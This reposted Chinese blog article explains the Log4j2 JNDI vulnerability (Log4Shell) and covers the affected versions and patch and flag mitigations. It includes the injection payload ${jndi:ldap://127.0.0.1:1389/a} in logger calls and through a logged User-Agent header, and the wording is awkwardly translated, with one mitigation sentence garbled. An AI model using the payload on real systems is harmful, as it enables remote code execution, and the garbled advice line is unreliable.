当前位置: 首页 > 科技观察

一味记日记是有问题的!Log4j2史诗级漏洞,影响巨大,臭不可闻!

时间:2023-03-23 11:40:29 科技观察

Log4j今天被曝出严重漏洞。Log4j和Logback作为Java界日志工具的杠杆,几乎一统江湖,影响不小。比如ApacheStruts2、ApacheSolr、ApacheDruid、ApacheFlink、Minecraft、iCloud的整个生态都会受到影响。受影响的版本从2.0到2.14.1,跨度比较大。2.0<=Apachelog4j<=2.14.1赶紧看看是不是中招了。通过Debuglog4j代码,终于定位到问题代码。可以看出,一个日志组件实现的功能远比我们平时使用的要多。如果用户打印下面的日志。logger.error("${jndi:ldap://127.0.0.1:1389/a}");然后会触发JndiLookup.java中的方法主动发起连接。通过精心构造的Playload,可以允许攻击者执行任何代码。这是非常危险的。经过测试,即使使用占位符而不是拼接字符串,也无法避免这个问题。例如,用户在登录页面输入${jndi:ldap://127.0.0.1:1389/a},不进行过滤,在后台打印用户名变量,就会触发该漏洞。publicstaticvoidmain(String[]args){Stringusername="${jndi:ldap://127.0.0.1:1389/a}";logger.error("Username:{}",username);}它的作用存在于各方面,一旦你打印了一些东西并且它可以构建,那就有问题了。例如,如果您从http标头中打印useragent,那么我们就可以将有效载荷填充到其中。stringuserAgent=he.getRequestHeader("user-agent");log.info("RequestUserAgent:"+userAgent);Stringresponse="

HelloThere,"+userAgent+"!

";所以,称之为史诗级漏洞一点也不为过。为log4j-2.15.0-rc1发布了一个紧急补丁。https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1但是很快发现还是有新的问题。所以目前最好的办法就是升级到rc2版本。https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2遗憾的是,我们在maven的中央仓库中没有找到这个版本。您需要自己修复它。您可以在apache存储库中查找它。https://repository.apache.org/content/groups/snapshots/org/apache/logging/log4j/log4j-core/鉴于更新jar包比较复杂,建议避免在JVM启动时直接更新参数。如果你不知道如何改变它,就看图片。-Dlog4j2.formatMsgNoLookups=true漏洞影响较大,您的公司可能已经开始密集打补丁。祝你好运!作者简介:薇薇小姐姐(xjjdog),一个不允许程序员走弯路的公众号。专注于基础架构和Linux。十年架构,每天百亿流量,与你探讨高并发世界,给你不一样的滋味。